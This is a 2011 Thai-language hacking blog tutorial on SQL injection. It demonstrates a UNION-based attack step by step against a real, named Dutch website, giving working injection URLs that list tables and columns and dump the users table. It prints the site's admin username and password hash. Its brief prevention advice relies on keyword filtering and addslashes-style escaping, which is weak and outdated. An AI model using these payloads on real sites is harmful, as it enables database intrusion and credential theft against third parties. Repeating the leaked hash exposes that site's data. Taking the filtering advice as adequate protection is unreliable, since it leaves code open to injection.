Hacking&Security Workshop

ตอนนี้ MaYaSeVeN ได้ย้าย Blog ไปที่ http://blog.mayaseven.com


Friday, April 1, 2011

How To SQL Injection แบบ เบิร์ดๆ

มาเริ่มกันเลย
1.พื้นฐาน ภาษา SQL
ผมจะสอนแค่คำสั่งพื้นฐานบางคำสั่งเท่านั้นนะครับ
1.1 คำสั่งในการหยิบข้อมูลจากฐานข้อมูลมาแสดง >>>> SELECT คอร์ลัมของตาราง X FROM ตาราง X
1.2 คำสั่ง UNION เป็นคำสั่งช่วยในการหยิบข้อมูลมากกว่า 1 อย่าง ตัวอย่าง เช่น
SELECT คอร์ลัมของตาราง X FROM ตาราง X UNION SELECT คอร์ลัมของตาราง Y FROM ตาราง Y <<<< เป็นการหยิบข้อมูล X กับ Y มาแสดง

เอาล่ะจะมี โมเดลมาเพื่อให้เห็นภาพชัดเจน



เข้าเว็บ "http://www.prinsmaurits.nl/show.php?id=90" รูปที่ 1



อธิบายรูป >> ที่หลังเเครื่องหมาย ? จะเป็นตัวแปรในภาษา php ในวันนี้คือตัวแปร ชื่อ id ค่าในตัวแปร = 90 เป็นการส่งค่าแบบ get
สิ่งที่เว็บนี้ทำก็คือเรียกหน้า show.php + กับส่งค่า id=90 เพื่อดึงข้อมูลในฐานขอมูลออกมาแสดง จากในรูปตรงส่วนของ Casino Rowan และ
Reacties คือส่วนที่ดึงข้อมูลจากฐานข้อมูลมาแสดง (และยังอาจมีส่วนอื่นๆด้วย)

ทีนี้เราจะเชคว่าตัวแปรนี้มีช่องโหว่หรือไม่ด้วยการใส่เครื่องหมาย ' หรือ single quote ลงไปหลังตัวแปร จะได้ดังรูปที่ 2



มี error ในรูปแบบอย่างนี้ ค่อยข้างชัวร์ว่า รั่วแน่ ทีนี้เราก็จัดการใช้คำสั่งที่ผมสอนไว้ข้างบนมาเริ่มเลย เริ่มจากการใช้ UNION เลย เราก็ทำเงื่อนไข
ข้างหน้าให้เป็น เท็จจะได้ด้วยวิธีใดก็แล้วแต่ในที่นี้ผมเติม - เข้าไปหน้าค่าของตัวแปรเพื่อไม่ให้แสดงข้อมูลของเว็บโดยจะให้แสดงข้อมมูลที่ เราต้องการ
ซึ่งหยิบจากเงื่อนไขหลัง UNION อะตัวอย่างเลยดีกว่า
"http://www.prinsmaurits.nl/show.php?id=-90+UNION+SELECT+1--"
หมายเหตุ : เครื่องหมาย "+" หรือ "%20" หมายถึงเว้นวรรค และ เครื่องหมาย "--" คือ comment

ทีนี้เราก็มาไล่กันว่าหน้านี้มีกี่ column ที่นำมาแสดง อะตัวอย่าง
Prins Maurits
ไล่ไปโดยเพิ่มทีละ 1 ไปเรื่อยจนกว่าตรงหัวข้อ Reacties จะไม่ได้แสดงข้อความ error ตามรูป
(เหตุผลที่สนใจหัวข้อนี้เพราะมันสามารถดึงข้อมมูลมาแสดงได้เยอะดี)



จะเห็นว่ามีเลข 1,2,3 แสดงในเว็บตรงแถวๆหัวข้อ Reacties นั้นคือเราสามารถเอาเลขที่เราไล่มะกี้มาแสดงบนเว็บได้แล้ว ทีนี้เราจะเปลี่ยนจากเลขเป็น
user pass ของคนในเว็บ เราก็เริ่มจากหาตารางในเว็บก่อนว่ามีตารางอะไรบ้าง โดยใช้ในสิ่งที่สอนไปข้างบน เอาตัวอย่างเลยละกัน
"http://www.prinsmaurits.nl/show.php?id=-90+UNION+SELECT+1,table_name,3,4,5,6%20FROM%20information_schema.tables--"
(หมายเหตุ information_schema.tables คือ ตารางมาตรฐานที่เก็บข้อมูลตารางทั้งหมดไว้)


จะเห็นว่าได้ตารางมาเยอะเลย แต่สิ่งที่เราสนใจคือ ตาราง users หลังจากได้ตารางมาแล้วทีนี้เราก็มาหา column ที่เราสนใจ โดยใช้คำสั่ง
"http://www.prinsmaurits.nl/show.php?id=-90+UNION+SELECT+1,column_name,3,4,5,6%20FROM%20information_schema.columns--"
(หมายเหตุ information_schema.columns คือ ตารางมาตรฐานที่เก็บข้อมูล column ทั้งหมดไว้)



จะเห็นว่าได้ column มาเยอะเลยแต่ column ที่เราสนใจคือ username กับ password

ที่นี้เราก็นำ สิ่งที่ได้มารวมกัน เพื่อดึงข้อมูลในฐานข้อมูลมาแสดง ในที่นี้จะเพิ่มอีกคำสั่งหนึ่งคือ concat() คือคำสั่งดึงข้อมูลหลาย column
มาแสดงที่เว็บ column เดียว เอ๊ะยังไง ดูตัวอย่างเลยละกัน

"http://www.prinsmaurits.nl/show.php?id=-90+UNION+SELECT+1,CONCAT_WS(0x3A,username,password),3,4,5,6%20FROM%20users--"
(หมายเหตุ 0x3A คืือเครื่องหมาย " : " ในเลขฐานสิบหก ในที่นี้ใช้กั้นระหว่าง username กับ password)




จากรูปเราก็จะได้ user : admin กับ password : cbc6a2d11896b664a71c917fbe7532f2321735b6


ขอบคุณเว็บ Prins Maurits เป็นอย่างสูง(ปัจจุบันเว็บเขาได้แก้ไขช่องโหว่ไปแล้วจึงนำมาเผยแพร่เป็นความรู้)

ปล.สามารถคลิกที่รูปเพื่อดูรูปขนาดจริง

วิธีป้องกัน SQLi ที่สำคัญคือเราต้องตรวจสอบ input ที่ระบบรับเข้ามาแล้วทำการ filter ส่วนที่เป็น SQL injection statement  ออกไป เช่น union,' เป็นต้น หรืออาจจะใช้ function ช่วยในการ filter เช่น addslashes, mysql_real_escape
#เขียนโดย MaYaSeVeN http://mayaseven.blogspot.com
#อนุญาติให้ Copy ไปโพสที่ไหนก็ได้แต่ต้องแนบเครดิตด้วยนะครับ
References

1.Prins Maurits